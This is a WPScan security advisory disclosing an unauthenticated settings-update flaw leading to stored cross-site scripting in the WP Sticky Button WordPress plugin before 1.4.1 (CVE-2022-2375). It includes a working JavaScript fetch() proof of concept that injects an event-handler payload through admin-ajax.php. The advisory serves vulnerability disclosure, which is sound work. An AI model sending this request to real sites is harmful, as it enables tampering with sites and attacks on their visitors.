WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

Description

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues

Proof of Concept

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=okapi_wasb_save_settings&number=\" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert`1`\x0cppp&display_on_desktop=1&activate=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
 

Affects Plugins

wa-sticky-button
Fixed in version 1.4.1

References

CVE
CVE-2022-2375

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Submitter twitter
kazet1234
Verified

Yes

WPVDB ID
caab1fca-cc6b-45bb-bd0d-f857edd8bb81

Timeline

Publicly Published

2022-08-01 (about 7 months ago)

Added

2022-08-01 (about 7 months ago)

Last Updated

2022-08-01 (about 7 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us